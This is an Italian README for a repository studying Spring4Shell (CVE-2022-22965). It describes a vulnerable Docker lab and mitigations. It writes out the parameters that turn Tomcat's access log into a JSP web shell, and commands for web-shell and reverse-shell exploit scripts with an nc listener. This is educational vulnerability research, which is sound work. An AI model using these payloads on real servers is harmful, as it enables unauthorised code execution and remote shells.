
Descrizione
Disclaimer: Questo repository è destinato esclusivamente a scopi educativi e di ricerca. Tutti gli script di exploit devono essere utilizzati esclusivamente su sistemi di tua proprietà o per i quali disponi di esplicita autorizzazione scritta al test. L'autore non è responsabile per eventuali usi impropri o danni causati da questo materiale.
Studio e proof-of-concept per CVE-2022-22965, una vulnerabilità critica di Remote Code Execution (RCE) in Spring Framework, divulgata pubblicamente nell'aprile 2022.
Spring4Shell interessa le applicazioni Spring MVC e Spring WebFlux quando tutte le seguenti condizioni sono soddisfatte:
| Condizione | Valore |
|---|---|
| Versione JDK | 9 o successiva |
| Server applicativo | Apache Tomcat |
| Packaging | WAR (non JAR eseguibile) |
| Spring Framework | < 5.3.18 o < 5.2.20 |
Il meccanismo di data binding di Spring consente di mappare i parametri delle richieste HTTP alle proprietà degli oggetti Java utilizzando la notazione a punti (ad es., user.name=foo). La vulnerabilità nasce dal fatto che questo attraversamento non è adeguatamente limitato: un attaccante può raggiungere il ClassLoader della JVM attraverso la gerarchia delle classi dell'oggetto modello:
class.module.classLoader.resources.context.parent.pipeline.first.<property>
Questo percorso raggiunge l'AccessLogValve di Tomcat, la cui configurazione di logging può essere manipolata a runtime. Modificando proprietà quali pattern, directory, prefix e suffix, l'attaccante reindirizza il log di accesso di Tomcat per scrivere un file con estensione .jsp contenente codice JSP arbitrario — piantando di fatto una web shell sul server.
1. POST /vulnerable
class.module.classLoader.resources.context.parent.pipeline.first.pattern=<JSP payload>
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
2. Tomcat writes the access log to webapps/ROOT/shell.jsp with the injected payload
3. GET /shell.jsp?cmd=id → RCE
.
├── exploits/
│ ├── exploit1.py # POST-based web shell with password protection
│ ├── exploit2.py # POST-based web shell with reset capability
│ ├── exploit3.py # GET-based variant (simplified)
│ ├── exploit4.py # Reverse TCP shell (GET-based)
│ └── exploit4b.py # Reverse TCP shell (POST-based)
└── springmvc5-helloworld-example/
├── Dockerfile # Uses pre-built tomcat:9.0.60 image
├── Dockerfile2 # Builds from openjdk:11 + downloads Tomcat
├── pom.xml # Maven project — Spring MVC 5.3.17 (vulnerable)
└── src/ # Vulnerable Spring MVC application source
# Web shell
python3 exploits/exploit1.py http://target:8080/vulnerable
# Reverse shell (start listener first: nc -lvnp 4444)
python3 exploits/exploit4.py --url http://target:8080/vulnerable --lhost <YOUR_IP> --lport 4444
sudo apt install maven o sudo dnf install maven)cd springmvc5-helloworld-example
mvn clean package
# Option 1 — pre-built Tomcat image
docker build -t spring4shell .
docker run -p 8082:8080 spring4shell
# Option 2 — build from openjdk + download Tomcat
docker build -t spring4shell -f Dockerfile2 .
docker run -p 8082:8080 spring4shell
L'applicazione sarà quindi disponibile all'indirizzo http://localhost:8082/vulnerable.
WebDataBinder.setDisallowedFields() per bloccare il binding di classLoaderclass., Class., module. o classLoaderRicerca originale e codice exploit di @march0n. Questo repository è uno studio personale della vulnerabilità a scopo didattico, con documentazione e analisi aggiuntive.
| Script | Metodo | Payload | Note |
|---|
exploit1.py | POST | Web shell (protetta da password) | Richiesta singola |
exploit2.py | POST | Web shell | Ripristina la configurazione del log prima/dopo l'exploit |
exploit3.py | GET | Web shell (senza password) | Parametri tramite query string |
exploit4.py | GET | Reverse TCP shell | Payload JSP basato su msfvenom |
exploit4b.py | POST | Reverse TCP shell | Stesso payload di exploit4, variante POST |